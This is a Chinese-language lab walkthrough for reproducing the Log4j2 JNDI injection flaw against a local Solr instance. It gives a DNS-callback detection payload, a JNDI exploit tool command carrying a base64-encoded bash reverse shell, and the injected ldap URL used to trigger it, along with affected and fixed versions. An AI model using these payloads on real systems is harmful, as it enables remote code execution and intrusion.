漏洞复现环境搭建请参考
漏洞版本
Apache Log4j 2.0-2.14.1
Apache Log4j 1.2和Log4j 1.2.x系列不受影响
Apache Log4j 2.15.0及以上版本已修复此漏洞
漏洞验证
(1)访问web站点
(2)发现log4j2日志功能点
(3)利用DNS的回显验证log4j漏洞的存在,在DNSlog申请一个临时域名
http://www.dnslog.cn/
(4)寻找可以进行命令执行的传参点
官方复现路径为:http://192.168.88.128:8983/solr/admin/cores?action=
官方文件参考:http://www.ctfiot.com/16640.html#fancybox-14
(4)利用payload进行测试(这里需要把路径中的#去掉)
#${jndi:ldap://${sys:java.version}.(申请出来的域名)}
${jndi:ldap://${sys:java.version}.0k7kuc.dnslog.cn}
(5)DNS解析成功回显java的版本信息,成功验证存在log4j2漏洞
漏洞利用
(1)安装 JNDI 注入工具
git clone https://github.com/bkfish/Apache-Log4j-Learning.git
(2)将反弹shell命令进行base64编码
(3)进入Apache-Log4j-Learning/tools下执行命令
#java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,[经过base64编码后的命令]}|{base64,-d}|bash" -A 攻击机IP
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC84ODg4IDA+JjEn}|{base64,-d}|bash" -A 192.168.88.128
(4)选择远程服务,该靶机只支持ldap,rmi无法弹shell
(5)攻击机开启监听
(6)浏览器进行访问远程服务
http://192.168.88.128:8983/solr/admin/cores?action=${jndi:ldap://192.168.88.128:1389/kdhmjd}
(7)成功反弹shell